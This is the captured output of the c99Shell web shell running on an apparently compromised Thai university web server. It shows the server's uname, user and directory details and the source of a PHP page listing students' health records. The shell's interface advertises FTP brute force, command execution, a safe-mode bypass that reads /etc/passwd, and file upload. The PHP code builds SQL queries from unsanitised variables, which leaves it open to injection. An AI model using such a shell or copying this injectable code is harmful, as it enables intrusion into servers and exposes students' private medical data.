!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/Furlough/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FurloughDetail.php (6.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
ConnectDB();

$sql =  " SELECT * FROM std_health_tb Where code='$code' ";
$result mysql_query($sql) or die("Select Has Error".mysql_error());
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title></title>
<link rel="stylesheet" href="../../Scholarship/cart4.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr bgcolor="#F4F9F2"> 
          <td width="29%"><font size="2" face="Tahoma"><strong> &nbsp;รหัสนักศึกษา</strong></font><font size="3" face="Tahoma"> 
            :</font><font color="#006633" size="2" face="Tahoma"> 
            <?=$rs["Student_id"]?>
            </font></td>
          <td width="71%" bgcolor="#F4F9F2"><font size="2" face="Tahoma"><strong>ชื่อ-นามสกุล</strong></font><font size="3" face="Tahoma"> 
            : </font><font color="#006633" size="2" face="Tahoma"> 
            <?php
           $Student_id 
$rs[Student_id];
            
$sql1 "Select First_name,Name,Lastname From student_tb Where Student_id='$Student_id'";
            
$result1 mysql_query($sql1) or die("Error".mysql_error());
            
$row mysql_fetch_array($result1);
             echo 
"$row[First_name]&nbsp;$row[Name]&nbsp;$row[Lastname]";

            
?>
            </font></td>
        </tr>
      </table></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
  <tr bgcolor="#E2DAF1"> 
    <td colspan="3"> 
      <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>รายละเอียดบันทึกสุขภาพนักศึกษา</strong></font></div></td>
  </tr>
  <tr bgcolor="#FFFEF4"> 
    <td bgcolor="#FFFEF4"><div align="center"><strong><font size="2" face="Tahoma">วันที่บันทึก</font></strong></div></td>
    <td>&nbsp;</td>
    <td><font color="#003366" size="2" face="Tahoma">
      <?php 
       $dday 
$rs[Date_note];
    
$yearthai explode("-",$dday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
      </font><font color="#000000" size="2" face="Tahoma">&nbsp;</font></td>
  </tr>
  <tr> 
    <td bgcolor="#FBF5E3"> <div align="center"></div></td>
    <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
    <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma">&nbsp;</font><font color="#000000" size="2" face="Tahoma">น้ำหนัก</font> 
        <font color="#993333" face="Tahoma"><? echo $rs[Weight]?> </font><font color="#000000" size="2" face="Tahoma">ส่วนสูง</font> 
        <font color="#993333"><? echo $rs[Height]?> </font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFEF4"> <div align="center"><strong><font size="2" face="Tahoma, MS Sans Serif">กรุ๊ปเลือด</font></strong></div></td>
    <td bgcolor="#FFFEF4">&nbsp;</td>
    <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[B_group]?></font></td>
  </tr>
  <tr> 
    <td bgcolor="#FBF5E3"> <div align="center"><strong><font size="2" face="Tahoma, MS Sans Serif">ความดัน</font></strong></div></td>
    <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
    <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Presure]?></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFEF4"> <div align="center"><strong><font size="2" face="Tahoma, MS Sans Serif">โรคประจำตัว</font></strong></div></td>
    <td bgcolor="#FFFEF4">&nbsp;</td>
    <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Disease]?></font></td>
  </tr>
  <tr> 
    <td bgcolor="#FBF5E3"> <div align="center"><strong><font color="#000000" size="2" face="Tahoma">อาการ</font></strong></div></td>
    <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
    <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Symptom]?></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFEF4"> <div align="center"><strong><font size="2" face="Tahoma, MS Sans Serif">การรักษา</font></strong></div></td>
    <td bgcolor="#FFFEF4">&nbsp;</td>
    <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Treat]?></font></td>
  </tr>
  <tr> 
    <td bgcolor="#FBF5E3"> <div align="center"><strong><font size="2" face="Tahoma">ยาที่ได้รับ</font></strong></div></td>
    <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
    <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Medicine]?></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFEF4"> <div align="center"><strong><font size="2" face="Tahoma">อาการแพ้ยา</font></strong></div></td>
    <td bgcolor="#FFFEF4">&nbsp;</td>
    <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Bad_Medic]?></font></td>
  </tr>
  <form action="" method="">
    <tr bordercolor="#CCCCCC"> 
      <td width="25%" bgcolor="#FBF5E3"> <div align="center"><strong><font size="2" face="Tahoma">อาการแพ้อาหาร</font></strong></div></td>
      <td width="3%" bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td width="72%" bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Bad_Food]?></font></div></td>
    </tr>
    <tr> 
      <td bgcolor="#FFFEF4"> <div align="center"><strong><font color="#000000" size="2" face="Tahoma">สถานที่รักษา</font></strong></div></td>
      <td bgcolor="#FFFEF4">&nbsp;</td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Place_Treat]?></font></td>
    </tr>
  </form>
  <tr bgcolor="#E2DAF1"> 
    <td colspan="3">&nbsp;</td>
  </tr>
</table>
<table width="79%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td><div align="center"> &nbsp;</div></td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>
<?php
CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--